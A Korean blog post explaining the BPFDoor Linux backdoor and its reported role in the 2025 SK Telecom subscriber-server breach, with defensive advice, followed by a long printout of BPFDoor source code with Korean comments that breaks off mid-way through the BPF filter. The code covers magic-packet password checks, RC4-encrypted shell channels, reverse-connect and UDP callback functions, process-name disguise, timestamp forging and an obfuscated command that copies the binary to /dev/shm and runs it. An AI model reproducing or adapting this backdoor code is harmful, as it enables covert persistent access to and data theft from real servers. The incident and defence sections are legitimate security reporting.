추천글
SKT해킹한 프로그램 - BPF Door
- 공유 링크 만들기
- X
- 이메일
- 기타 앱
1. BPFDoor란?
BPFDoor는 Berkeley Packet Filter(BPF) 기술을 악용한 백도어 악성코드로, 리눅스 및 솔라리스 운영체제를 주로 표적으로 삼습니다. 2021년 PwC의 위협 보고서를 통해 처음 공개되었으며, 이후 다양한 변종이 등장하면서 지속적으로 진화하고 있습니다.
- 백도어(Backdoor): BPFDoor는 시스템에 몰래 설치되어 해커가 정상적인 인증 절차를 우회해 시스템에 접근할 수 있도록 "뒷문"을 만드는 악성코드입니다. 이를 통해 해커는 감염된 시스템을 원격으로 제어하거나 데이터를 탈취할 수 있습니다.
- 주요 특징:
- 은닉성: 일반적인 보안 솔루션이나 방화벽을 우회하며, 탐지되지 않도록 정상 시스템 프로세스로 위장합니다(예: kdmtmpflush, vmtoolsdsrv 등).
- 매직 패킷: 특정 신호(매직 패킷)를 수신할 때만 활성화되며, 평소에는 잠복 상태로 활동 흔적을 최소화합니다.
- 오픈소스: BPFDoor의 소스 코드가 GitHub 등에서 공개되어 있어 다양한 해커가 변종을 제작할 수 있습니다.
2. BPFDoor의 작동 방식
BPFDoor는 리눅스 커널의 BPF 기능을 악용해 네트워크 트래픽을 조작하고, 보안 장비의 탐지를 피합니다. 아래는 주요 작동 메커니즘입니다:
- BPF(Berkeley Packet Filter) 악용:
- BPF는 원래 네트워크 패킷을 필터링하고 분석하기 위한 리눅스 커널 기능입니다.
- BPFDoor는 이 기능을 악용해 특정 패킷(매직 패킷)을 감지하고, 이를 통해 악성 명령을 실행합니다.
- 방화벽이나 네트워크 모니터링 도구를 우회하기 위해 커널 수준에서 패킷을 직접 처리합니다.
- 은폐 및 위장:
- 악성코드는 시스템 프로세스 이름을 정상적인 프로세스 이름으로 위장하거나, /tmp/zabbix_agent.log, /bin/vmtoolsdsrv 같은 경로에 파일을 저장해 포렌식 분석을 어렵게 만듭니다.
- 네트워크 트래픽을 위장하고 의심스러운 포트를 열지 않아 일반적인 보안 점검으로 탐지되지 않습니다.
- 원격 제어:
- 리버스 쉘(Reverse Shell): 감염된 시스템이 해커의 서버로 먼저 연결을 시도해 명령을 받습니다.
- 바인드 쉘(Bind Shell): 감염된 시스템에 특정 포트를 열어 해커가 접근하도록 허용합니다.
- TCP, UDP, ICMP 프로토콜을 통해 명령을 수신하며, 내부 네트워크로의 측면 이동(lateral movement)이 가능합니다.
- 활성화 방식:
- BPFDoor는 평소 잠복 상태로 대기하며, 해커가 전송한 매직 패킷(특정 패턴의 네트워크 패킷)을 수신하면 활성화됩니다. 이를 통해 일반 보안 장비의 탐지를 우회합니다.
3. SKT 해킹 사건과 BPFDoor
2025년 4월 19일, SK텔레콤의 **홈가입자서버(HSS)**가 해킹당하면서 유심(USIM) 관련 정보(가입자 전화번호, IMSI, 인증키 등)가 유출된 사건에서 BPFDoor가 주요 공격 도구로 사용된 것으로 확인되었습니다.
- 공격 대상: HSS는 가입자 전화번호, IMSI(국제 가입자 식별번호), 인증키(Ki) 등 유심 정보를 관리하는 핵심 서버로, 이를 통해 해커는 유심 복제(심 스와핑)나 2차 인증 우회 등의 공격을 시도할 수 있습니다.
- 유출 규모: 약 2,500만 명(SKT 가입자 2,300만 명, 알뜰폰 가입자 187만 명)의 정보가 유출될 가능성이 제기되었습니다.
- 탐지 및 대응:
- 4월 18일 오후 6시 9분, 9.7GB 용량의 파일 이동이 감지되었고, 같은 날 11시 20분에 악성코드가 삭제된 흔적이 발견되었습니다.
- 한국인터넷진흥원(KISA)은 4월 25일 BPFDoor 관련 악성코드의 해시값, IP, 파일 정보를 공개하며 보안 점검을 권고했습니다.
- 민관합동조사단은 BPFDoor 계열의 악성코드 4종을 발견했으며, 추가 조사를 진행 중입니다.
- 공격자 추정:
- BPFDoor는 중국 기반 APT 그룹 **레드멘션(Red Menshen)**과 연관된 것으로 알려져 있습니다.
- 그러나 소스 코드가 오픈소스로 공개되어 있어 특정 공격자를 단정하기는 어렵습니다. 보안 업체 시그니아는 중국 국영 해커 조직 **위버 앤트(Weaver Ant)**의 수법과 유사하다고 주장했습니다.
- 트렌드마이크로의 보고서에 따르면, 2024년 7월과 12월에도 한국 통신사를 대상으로 한 BPFDoor 공격이 관찰되었습니다.
4. BPFDoor의 위험성
BPFDoor는 다음과 같은 이유로 특히 위험한 악성코드로 평가됩니다:
- 높은 은닉성:
- 네트워크 트래픽을 위장하고, 의심스러운 포트를 열지 않아 기존 보안 솔루션으로 탐지가 어렵습니다.
- 장기간 잠복하며 사이버 스파이 활동에 최적화되어 있습니다.
- 광범위한 피해 가능성:
- 단일 서버 침해를 넘어 내부 네트워크로 확산될 수 있어, 조직 전체의 시스템을 위협합니다.
- 유출된 유심 정보는 심 스와핑, 금융 사기, 2차 인증 우회 등에 악용될 수 있습니다.
- 다양한 산업 표적:
- 트렌드마이크로 보고서에 따르면, BPFDoor는 통신, 금융, 소매, 물류, 정부 기관 등 다양한 산업을 공격하며, 한국, 홍콩, 미얀마, 말레이시아, 이집트 등에서 활동이 관찰되었습니다.
5. SKT 해킹의 영향
SKT 해킹 사건은 다음과 같은 영향을 미쳤습니다:
- 소비자 불안: 유심 정보 유출로 인해 피싱, 스미싱, 금융 사기 등의 2차 피해 우려가 커졌습니다.
- 보안 신뢰도 하락: SKT의 보안 관리 소홀 이미지가 각인되며, 국방 및 공공 사업 수주에 악영향이 예상됩니다.
- 정부 및 금융권 대응:
- 금융위원회와 금융감독원은 비상대응회의를 열어 비대면 계좌 개설 및 여신거래 차단 서비스를 권고했습니다.
- SKT는 유심 무료 교체와 유심보호서비스를 제공하며 피해 확산 방지에 나섰습니다.
6. 보안 대응 및 예방 방안
BPFDoor와 같은 고급 백도어 악성코드에 대응하기 위해 다음과 같은 조치가 필요합니다:
- 시스템 보안 강화:
- 정기적인 보안 패치: 리눅스 커널 및 소프트웨어 취약점(CVE-2025-21756 등)을 패치합니다.
- 무결성 검증: 서버의 파일 무결성을 주기적으로 확인해 악성코드 설치 여부를 점검합니다.
- EDR 활용: 엔드포인트 탐지 및 대응(Endpoint Detection and Response) 솔루션을 도입해 비정상적인 활동을 탐지합니다.
- 네트워크 모니터링:
- 비정상적인 네트워크 트래픽을 감지하기 위해 고급 네트워크 모니터링 도구를 사용합니다.
- 매직 패킷과 같은 의심스러운 패킷 패턴을 분석합니다.
- 침해 지표(IoC) 활용:
- KISA가 공개한 BPFDoor의 해시값, IP, 파일 정보를 기반으로 자체 보안 점검을 수행합니다.
- 침입 흔적이 확인되면 즉시 보호나라를 통해 신고합니다.
- 조직적 대응:
- 서버 보안 투자를 확대하고, 폐쇄망 관리 체계를 강화합니다.
- 보안 인식 교육을 통해 이메일 피싱, 계정 탈취 등 초기 침투 경로를 차단합니다.
- 소비자 보호:
- 유심보호서비스 가입, 비대면 계좌 차단 서비스 신청 등으로 2차 피해를 예방합니다.
- 출처 불분명한 링크 클릭을 피하고, 피싱/스미싱에 주의합니다.
7. 결론
BPFDoor는 리눅스 기반 시스템을 표적으로 삼는 고도로 은밀한 백도어 악성코드로, SKT 해킹 사건에서 가입자 유심 정보를 유출하는 데 사용되었습니다. 이 악성코드는 높은 은닉성과 네트워크 우회 능력으로 인해 탐지가 어렵고, 장기적인 사이버 스파이 활동에 최적화되어 있습니다. SKT 사건은 통신 인프라의 보안 취약성을 드러냈으며, 이를 계기로 리눅스 서버 보안 강화, EDR 도입, 정기적인 보안 점검이 필요합니다. 또한, 소비자들은 유심보호서비스와 같은 보호 조치를 통해 2차 피해를 예방해야 합니다.
8. 소스
#include <arpa/inet.h> // 네트워크 주소 변환을 위한 헤더 (inet_ntoa 등)#include <sys/wait.h> // 자식 프로세스 상태를 기다리기 위한 헤더 (waitpid 등)
#include <sys/resource.h> // 시스템 리소스 제어를 위한 헤더 (사용되지 않음, 예비 포함)
#include <stdio.h> // 표준 입출력 함수를 위한 헤더 (printf 등, 여기서는 사용 안 함)
#include <stdlib.h> // 메모리 할당 및 프로세스 종료를 위한 헤더 (malloc, exit 등)
#include <unistd.h> // POSIX 시스템 호출을 위한 헤더 (fork, execve 등)
#include <signal.h> // 시그널 처리를 위한 헤더 (signal, SIGTERM 등)
#include <sys/types.h> // 기본 데이터 타입 정의를 위한 헤더 (pid_t 등)
#include <sys/stat.h> // 파일 상태 조작을 위한 헤더 (chmod 등)
#include <linux/termios.h> // 터미널 제어를 위한 헤더 (TTY 설정)
#include <sys/socket.h> // 소켓 프로그래밍을 위한 헤더 (socket, bind 등)
#include <netinet/in.h> // 인터넷 프로토콜 구조체를 위한 헤더 (sockaddr_in 등)
#include <string.h> // 문자열 조작을 위한 헤더 (memcpy, strcmp 등)
#include <fcntl.h> // 파일 제어를 위한 헤더 (open, O_RDWR 등)
#include <ctype.h> // 문자 유형 확인을 위한 헤더 (사용되지 않음, 예비 포함)
#include <netdb.h> // 네트워크 데이터베이스 함수를 위한 헤더 (사용되지 않음, 예비 포함)
#include <sys/prctl.h> // 프로세스 제어 작업을 위한 헤더 (prctl, PR_SET_NAME 등)
#include <libgen.h> // 경로 조작을 위한 헤더 (사용되지 않음, 예비 포함)
#include <sys/time.h> // 시간 관련 함수를 위한 헤더 (utimes 등)
#include <time.h> // 시간 함수를 위한 헤더 (time, srand 등)
#include <linux/if_ether.h> // 이더넷 프레임 처리를 위한 헤더 (ETH_P_IP 등)
#include <linux/filter.h> // BPF 필터링을 위한 헤더 (sock_fprog 등)
#include <errno.h> // 에러 코드 정의를 위한 헤더 (errno 등)
#include <strings.h> // 추가 문자열 함수를 위한 헤더 (bzero 등)
#ifndef PR_SET_NAME
#define PR_SET_NAME 15 // PR_SET_NAME이 정의되지 않은 경우 수동 정의 (프로세스 이름 설정용)
#endif
extern char **environ; // 환경 변수 배열을 외부에서 참조하기 위한 선언
#define __SID ('S' << 8) // 터미널 제어용 상수 (세션 ID 계산에 사용)
#define I_PUSH (__SID | 2) // 모듈 푸시를 위한 IOCTL 명령 상수
// IP 헤더 구조체 정의 (패킷 스니핑용)
struct sniff_ip {
unsigned char ip_vhl; // 버전(4비트) + 헤더 길이(4비트)
unsigned char ip_tos; // 서비스 유형 (우선순위 등)
unsigned short int ip_len; // 전체 패킷 길이 (헤더 + 데이터)
unsigned short int ip_id; // 패킷 식별자 (분할 시 동일)
unsigned short int ip_off; // 플래그(3비트) + 조각 오프셋(13비트)
#define IP_RF 0x8000 // 예약된 플래그 (사용 안 함)
#define IP_DF 0x4000 // 분할 금지 플래그 (Don't Fragment)
#define IP_MF 0x2000 // 더 많은 조각 플래그 (More Fragments)
#define IP_OFFMASK 0x1fff // 조각 오프셋 마스크
unsigned char ip_ttl; // 생존 시간 (Time To Live)
unsigned char ip_p; // 프로토콜 (TCP=6, UDP=17, ICMP=1 등)
unsigned short int ip_sum; // 헤더 체크섬
struct in_addr ip_src, ip_dst; // 출발지 및 도착지 IP 주소
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) // IP 헤더 길이를 바이트 단위로 추출 (4비트 값 * 4)
#define IP_V(ip) (((ip)->ip_vhl) >> 4) // IP 버전 추출 (4 또는 6)
// TCP 시퀀스 번호를 위한 타입 정의
typedef unsigned int tcp_seq;
// TCP 헤더 구조체 정의 (패킷 스니핑 및 분석용)
struct sniff_tcp {
unsigned short int th_sport; // 출발지 포트 번호
unsigned short int th_dport; // 도착지 포트 번호
tcp_seq th_seq; // 시퀀스 번호 (데이터 순서 보장)
tcp_seq th_ack; // 확인 응답 번호 (수신 확인)
unsigned char th_offx2; // 데이터 오프셋(4비트) + 예약(4비트)
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) // TCP 헤더 길이 추출 (4비트 값 * 4)
unsigned char th_flags; // TCP 플래그 (연결 상태 제어)
#define TH_FIN 0x01 // 연결 종료
#define TH_SYN 0x02 // 연결 시작
#define TH_RST 0x04 // 연결 리셋
#define TH_PUSH 0x08 // 데이터 즉시 전송
#define TH_ACK 0x10 // 확인 응답
#define TH_URG 0x20 // 긴급 데이터
#define TH_ECE 0x40 // ECN Echo (혼잡 알림)
#define TH_CWR 0x80 // Congestion Window Reduced
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) // 모든 플래그 비트 OR
unsigned short int th_win; // 윈도우 크기 (수신 버퍼 크기)
unsigned short int th_sum; // 체크섬 (데이터 무결성 검증)
unsigned short int th_urp; // 긴급 포인터 (긴급 데이터 위치)
} __attribute__ ((packed)); // 구조체 패딩 제거 (정확한 바이트 정렬)
// UDP 헤더 구조체 정의 (패킷 스니핑용)
struct sniff_udp {
uint16_t uh_sport; // 출발지 포트 번호
uint16_t uh_dport; // 도착지 포트 번호
uint16_t uh_ulen; // UDP 길이 (헤더 + 데이터)
uint16_t uh_sum; // 체크섬 (선택적)
} __attribute__ ((packed)); // 구조체 패딩 제거
// 매직 패킷 구조체 정의 (백도어 명령 전달용 사용자 정의 패킷)
struct magic_packet {
unsigned int flag; // 명령 플래그 (기능 식별용)
in_addr_t ip; // 대상 IP 주소 (리버스 쉘 등에서 사용)
unsigned short port; // 대상 포트 번호
char pass[14]; // 패스워드 (인증용, 최대 13자 + NULL)
} __attribute__ ((packed)); // 구조체 패딩 제거
#ifndef uchar
#define uchar unsigned char // unsigned char 타입 별칭 정의
#endif
// RC4 암호화 컨텍스트 구조체 정의
typedef struct {
uchar state[256]; // RC4 상태 배열 (256바이트 S-Box)
uchar x, y; // RC4 알고리즘의 두 개의 인덱스
} rc4_ctx;
extern char *ptsname(int); // pseudo-terminal 슬레이브 이름 반환 함수 선언
extern int grantpt(int fd); // pseudo-terminal 접근 권한 부여 함수 선언
extern int unlockpt(int fd); // pseudo-terminal 잠금 해제 함수 선언
extern int ioctl(int __fd, unsigned long int __request, ...); // IOCTL 시스템 호출 선언
#define TIOCSCTTY 0x540E // TTY를 제어 터미널로 설정하는 IOCTL 명령
#define TIOCGWINSZ 0x5413 // 터미널 윈도우 크기 가져오는 IOCTL 명령
#define TIOCSWINSZ 0x5414 // 터미널 윈도우 크기 설정하는 IOCTL 명령
#define ECHAR 0x0b // 특수 문자 (윈도우 크기 변경 이벤트 감지용)
#define BUF 32768 // 입출력 버퍼 크기 (32KB)
// 설정 구조체 정의 (프로그램 설정 저장용)
struct config {
char stime[4]; // 시작 시간 (사용 안 함, 예비 필드)
char etime[4]; // 종료 시간 (사용 안 함, 예비 필드)
char mask[512]; // 프로세스 이름 위장용 문자열 (최대 511자 + NULL)
char pass[14]; // 첫 번째 패스워드 (리버스 쉘 인증용, 최대 13자 + NULL)
char pass2[14]; // 두 번째 패스워드 (바인드 쉘 인증용, 최대 13자 + NULL)
} __attribute__ ((packed)); // 구조체 패딩 제거
struct config cfg; // 전역 설정 구조체 변수
int pty, tty; // pseudo-terminal 마스터/슬레이브 파일 디스크립터
int godpid; // 메인 프로세스 PID 저장용 변수
char pid_path[50]; // PID 파일 경로 저장용 배열 (/var/run/haldrund.pid)
int shell(int, char *, char *); // 쉘 세션 처리 함수 선언
void getshell(char *ip, int); // 바인드 쉘 설정 함수 선언
char *argv0 = NULL; // 원본 argv[0] 저장용 포인터 (프로세스 이름 조작 시 사용)
rc4_ctx crypt_ctx, decrypt_ctx; // RC4 암호화 및 복호화 컨텍스트 전역 변수
// 두 unsigned char 값을 교환하는 함수
void xchg(uchar *a, uchar *b) {
uchar c = *a; // 첫 번째 값을 임시 변수에 저장
*a = *b; // 두 번째 값을 첫 번째 위치에 복사
*b = c; // 임시 값을 두 번째 위치에 복사
}
// RC4 암호화 초기화 함수
void rc4_init(uchar *key, int len, rc4_ctx *ctx) {
uchar index1, index2; // 키 스케줄링 알고리즘(KSA)용 인덱스 변수
uchar *state = ctx->state; // RC4 상태 배열 포인터
uchar i; // 반복 제어 변수
i = 0;
do {
state[i] = i; // 상태 배열을 0부터 255까지 순차적으로 초기화
i++;
} while (i); // 256번 반복 (i가 0이 될 때까지, 즉 오버플로우 시 종료)
ctx->x = ctx->y = 0; // RC4 스트림 인덱스 초기화
index1 = index2 = 0; // KSA용 인덱스 초기화
i = 0;
do {
index2 = key[index1] + state[i] + index2; // 상태 배열 교환 위치 계산
xchg(&state[i], &state[index2]); // 상태 배열 값 교환
index1++; // 키 인덱스 증가
if (index1 >= len) // 키 길이를 초과하면
index1 = 0; // 키 처음으로 돌아감 (키 반복 사용)
i++;
} while (i); // 256번 반복
}
// RC4 암호화/복호화 함수 (스트림 암호화)
void rc4(uchar *data, int len, rc4_ctx *ctx) {
uchar *state = ctx->state; // RC4 상태 배열 포인터
uchar x = ctx->x; // 현재 x 인덱스
uchar y = ctx->y; // 현재 y 인덱스
int i; // 데이터 반복 제어 변수
for (i = 0; i < len; i++) { // 데이터 길이만큼 반복
uchar xor; // XOR 연산 결과 저장용 변수
x++; // x 인덱스 증가
y = state[x] + y; // y 인덱스 업데이트 (상태 배열 값 기반)
xchg(&state[x], &state[y]); // 상태 배열 값 교환 (PRGA)
xor = state[x] + state[y]; // 키 스트림 생성
data[i] ^= state[xor]; // 데이터에 키 스트림 XOR 적용 (암호화/복호화)
}
ctx->x = x; // 업데이트된 x 인덱스 저장
ctx->y = y; // 업데이트된 y 인덱스 저장
}
// 암호화된 데이터 쓰기 함수
int cwrite(int fd, void *buf, int count) {
uchar *tmp; // 암호화용 임시 버퍼
int ret; // 쓰기 결과 반환값
if (!count) // 데이터 크기가 0이면
return 0; // 아무것도 하지 않고 0 반환
tmp = malloc(count); // 데이터 크기만큼 메모리 동적 할당
if (!tmp) // 메모리 할당 실패 시
return 0; // 0 반환 (실패)
memcpy(tmp, buf, count); // 입력 버퍼를 임시 버퍼에 복사
rc4(tmp, count, &crypt_ctx); // 임시 버퍼 데이터 암호화
ret = write(fd, tmp, count); // 암호화된 데이터를 파일 디스크립터에 쓰기
free(tmp); // 임시 버퍼 메모리 해제
return ret; // 쓰기 결과 반환
}
// 암호화된 데이터 읽기 함수
int cread(int fd, void *buf, int count) {
int i; // 읽기 결과 저장 변수
if (!count) // 읽을 데이터 크기가 0이면
return 0; // 아무것도 하지 않고 0 반환
i = read(fd, buf, count); // 파일 디스크립터에서 데이터 읽기
if (i > 0) // 읽은 데이터가 있으면
rc4(buf, i, &decrypt_ctx); // 읽은 데이터 복호화
return i; // 읽기 결과 반환 (읽은 바이트 수 또는 오류 코드)
}
// PID 파일 삭제 함수
static void remove_pid(char *pp) {
unlink(pp); // 지정된 경로의 파일 삭제 (PID 파일 제거)
}
// 실행 파일 타임스탬프를 고정된 과거 날짜로 설정하는 함수
static void setup_time(char *file) {
struct timeval tv[2]; // 접근/수정 시간 설정용 배열
tv[0].tv_sec = 1225394236; // 2008-10-30 12:17:16 (UTC)로 접근 시간 설정
tv[0].tv_usec = 0; // 마이크로초 단위 시간 0으로 설정
tv[1].tv_sec = 1225394236; // 수정 시간도 동일하게 설정
tv[1].tv_usec = 0; // 마이크로초 단위 시간 0으로 설정
utimes(file, tv); // 파일의 접근/수정 시간 변경 (탐지 회피용)
}
// 프로그램 종료 처리 함수
static void terminate(void) {
if (getpid() == godpid) // 현재 프로세스가 메인 프로세스이면
remove_pid(pid_path); // PID 파일 삭제
_exit(EXIT_SUCCESS); // 즉시 프로세스 종료 (정상 종료 코드 0)
}
// SIGTERM 시그널 핸들러 함수
static void on_terminate(int signo) {
terminate(); // 종료 처리 호출
}
// 시그널 초기화 함수
static void init_signal(void) {
atexit(terminate); // 프로그램 종료 시 terminate 함수 자동 호출 등록
signal(SIGTERM, on_terminate); // SIGTERM 시그널에 핸들러 연결
return;
}
// 자식 프로세스 종료 시그널 핸들러
void sig_child(int i) {
signal(SIGCHLD, sig_child); // SIGCHLD 시그널 핸들러 재설정 (재귀 방지)
waitpid(-1, NULL, WNOHANG); // 종료된 자식 프로세스 정리 (논블록)
}
// pseudo-terminal 마스터 열기 함수
int ptym_open(char *pts_name) {
char *ptr; // 슬레이브 이름 저장용 포인터
int fd; // 파일 디스크립터 저장 변수
strcpy(pts_name, "/dev/ptmx"); // 기본 PTY 마스터 장치 경로 설정
if ((fd = open(pts_name, O_RDWR)) < 0) { // 읽기/쓰기 모드로 열기
return -1; // 실패 시 -1 반환
}
if (grantpt(fd) < 0) { // PTY에 대한 접근 권한 부여
close(fd); // 실패 시 파일 닫기
return -2; // 오류 코드 반환
}
if (unlockpt(fd) < 0) { // PTY 잠금 해제
close(fd); // 실패 시 파일 닫기
return -3; // 오류 코드 반환
}
if ((ptr = ptsname(fd)) == NULL) { // 슬레이브 PTY 이름 가져오기
close(fd); // 실패 시 파일 닫기
return -4; // 오류 코드 반환
}
strcpy(pts_name, ptr); // 슬레이브 이름 복사
return fd; // 성공 시 마스터 파일 디스크립터 반환
}
// pseudo-terminal 슬레이브 열기 함수
int ptys_open(int fd, char *pts_name) {
int fds; // 슬레이브 파일 디스크립터 저장 변수
if ((fds = open(pts_name, O_RDWR)) < 0) { // 슬레이브 장치 읽기/쓰기 모드로 열기
close(fd); // 실패 시 마스터 닫기
return -5; // 오류 코드 반환
}
if (ioctl(fds, I_PUSH, "ptem") < 0) { // PTY 에뮬레이터 모듈 푸시
return fds; // 실패해도 진행 (선택적)
}
if (ioctl(fds, I_PUSH, "ldterm") < 0) { // 터미널 라인 디바이스 모듈 푸시
return fds; // 실패해도 진행 (선택적)
}
if (ioctl(fds, I_PUSH, "ttcompat") < 0) { // 호환성 터미널 모듈 푸시
return fds; // 실패해도 진행 (선택적)
}
return fds; // 성공 시 슬레이브 파일 디스크립터 반환
}
// TTY 열기 및 설정 함수
int open_tty() {
char pts_name[20]; // PTY 이름 저장용 배열
pty = ptym_open(pts_name); // 마스터 PTY 열기
tty = ptys_open(pty, pts_name); // 슬레이브 PTY 열기
if (pty >= 0 && tty >= 0) // 둘 다 성공 시
return 1; // 성공 반환
return 0; // 실패 반환
}
// 지정된 IP와 포트에 TCP 연결 시도 함수
int try_link(in_addr_t ip, unsigned short port) {
struct sockaddr_in serv_addr; // 서버 주소 구조체
int sock; // 소켓 파일 디스크립터
bzero(&serv_addr, sizeof(serv_addr)); // 주소 구조체 0으로 초기화
serv_addr.sin_addr.s_addr = ip; // 대상 IP 설정
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // TCP 소켓 생성
return -1; // 실패 시 -1 반환
}
serv_addr.sin_family = AF_INET; // IPv4 프로토콜 설정
serv_addr.sin_port = port; // 포트 번호 설정 (네트워크 바이트 순서)
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1) { // 서버에 연결 시도
close(sock); // 실패 시 소켓 닫기
return -1; // 오류 반환
}
return sock; // 성공 시 소켓 파일 디스크립터 반환
}
// 지정된 IP와 포트로 UDP 패킷 전송 함수
int mon(in_addr_t ip, unsigned short port) {
struct sockaddr_in remote; // 원격 주소 구조체
int sock; // 소켓 파일 디스크립터
int s_len; // 전송된 바이트 수
bzero(&remote, sizeof(remote)); // 주소 구조체 0으로 초기화
if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) { // UDP 소켓 생성
return -1; // 실패 시 -1 반환
}
remote.sin_family = AF_INET; // IPv4 프로토콜 설정
remote.sin_port = port; // 포트 번호 설정
remote.sin_addr.s_addr = ip; // 대상 IP 설정
if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) { // "1" 문자열 전송
close(sock); // 실패 시 소켓 닫기
return -1; // 오류 반환
}
close(sock); // 소켓 닫기
return s_len; // 전송된 바이트 수 반환
}
// 프로세스 이름을 변경하여 위장하는 함수
int set_proc_name(int argc, char **argv, char *new) {
size_t size = 0; // 환경 변수 총 크기 계산용
int i; // 반복 제어 변수
char *raw = NULL; // 환경 변수 복사용 메모리
char *last = NULL; // argv와 environ의 끝 위치 계산용
argv0 = argv[0]; // 원본 실행 경로 저장
for (i = 0; environ[i]; i++) // 환경 변수 크기 계산
size += strlen(environ[i]) + 1; // 각 문자열 길이 + NULL 종료 문자
raw = (char *)malloc(size); // 환경 변수 저장용 메모리 할당
if (NULL == raw) // 할당 실패 시
return -1; // 오류 반환
for (i = 0; environ[i]; i++) { // 환경 변수 복사
memcpy(raw, environ[i], strlen(environ[i]) + 1); // 문자열 복사
environ[i] = raw; // 환경 변수 포인터 업데이트
raw += strlen(environ[i]) + 1; // 다음 위치로 이동
}
last = argv[0]; // argv 시작 위치
for (i = 0; i < argc; i++) // argv 끝 위치 계산
last += strlen(argv[i]) + 1; // 각 인자 길이 + NULL
for (i = 0; environ[i]; i++) // environ 끝 위치 계산
last += strlen(environ[i]) + 1; // 각 환경 변수 길이 + NULL
memset(argv0, 0x00, last - argv0); // 원래 메모리 영역 0으로 채움 (기존 이름 삭제)
strncpy(argv0, new, last - argv0); // 새 이름 복사 (버퍼 오버플로우 방지)
prctl(PR_SET_NAME, (unsigned long)new); // 커널에 프로세스 이름 설정
return 0; // 성공 반환
}
// 실행 파일을 /dev/shm에 복사하고 실행하는 함수
int to_open(char *name, char *tmp) {
char cmd[256] = {0}; // 실행 명령어 저장용 배열
char fmt[] = {
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
0x2f, 0x25, 0x73, 0x00
}; // 명령어: "/bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s"
snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp); // 명령어 포맷에 파일 이름 삽입
system(cmd); // 명령어 실행 (파일 복사, 권한 설정, 실행, 삭제)
sleep(2); // 실행 완료 대기
if (access(pid_path, R_OK) == 0) // PID 파일이 존재하면
return 0; // 성공 반환 (이미 실행 중)
return 1; // 실패 반환
}
// 매직 패킷의 패스워드 인증 함수
int logon(const char *hash) {
int x = 0; // 비교 결과 저장 변수
x = memcmp(cfg.pass, hash, strlen(cfg.pass)); // 첫 번째 패스워드 비교
if (x == 0) // 일치하면
return 0; // 리버스 쉘 모드 반환
x = memcmp(cfg.pass2, hash, strlen(cfg.pass2)); // 두 번째 패스워드 비교
if (x == 0) // 일치하면
return 1; // 바인드 쉘 모드 반환
return 2; // 모니터링 모드 반환 (기본값)
}
// 네트워크 패킷 감시 및 처리 루프 함수
void packet_loop() {
int sock, r_len, pid, scli, size_ip, size_tcp; // 소켓, 수신 길이, PID, 클라이언트 소켓, IP/TCP 크기 변수
socklen_t psize; // 소켓 주소 크기 (사용 안 함)
uchar buff[512]; // 패킷 수신 버퍼 (최대 512바이트)
const struct sniff_ip *ip; // IP 헤더 포인터
const struct sniff_tcp *tcp; // TCP 헤더 포인터
struct magic_packet *mp; // 매직 패킷 포인터
const struct sniff_udp *udp; // UDP 헤더 포인터
in_addr_t bip; // 대상 IP 저장 변수
char *pbuff = NULL; // ICMP 데이터 포인터
// BPF 필터 설정 (특정 패킷만 수신)
struct sock_fprog filter; // BPF 필터 프로그램 구조체
struct sock_filter bpf_code[] = { // BPF 명령어 배열
{ 0x28, 0, 0, 0x0000000c }, // 이더넷 타입 확인 (IP 패킷: 0x0800)
{ 0x15, 0, 27, 0x00000800 }, // IP 패킷이면 계속, 아니면 종료
{ 0x30, 0, 0, 0x00000017 }, // IP 프로토콜 필드 읽기
{ 0x15, 0, 5, 0x00000011 }, // UDP(17)면 5단계 건너뜀
{ 0x28, 0, 0, 0x00000014 }, // IP 헤더 길이 읽기
{ 0x45, 23, 0, 0x00001fff }, // 조각 오프셋 확인 (조각 없어야 함)
{ 0xb1, 0, 0, 0x0000000e }, // 데이터 시작 위치 조정
{ 0x48, 0, 0, 0x00000016 }, // UDP 포트 읽기
{ 0x15, 19, 20, 0x00007255 }, // 포트 29269(0x7255) 확인
{ 0x15, 0, 7, 0x00000001 }, // ICMP(1)면 7단계 건너뜀
{ 0x28, 0, 0, 0x00000014 }, // IP 헤더 길이 읽기
{ 0x45, 17, 0, 0x00001fff }, // 조각 오프셋 확인
{ 0xb1, 0, 0, 0x0000000e }, // 데이터 시작 위치 조정
{ 0x48, 0, 0, 0x00000016 }, // ICMP 타입 읽기
{ 0x15, 0, 14, 0x00007255 }, // 특정 값 확인 (사용 안 함)
{ 0x50, 0, 0, 0x0000000e }, // TCP 플래그 읽기
{ 0x15, 11, 12, 0x00000008 }, // PUSH 플래그 확인
{ 0x15, 0, 11, 0x00000006 }, // TCP(6)면 계속
{ 0x28, 0, 0, 0x00000014 }, // IP 헤더 길이 읽기
{ 0x45, 9, 0, 0x00001fff }, // 조각 오프셋 확인
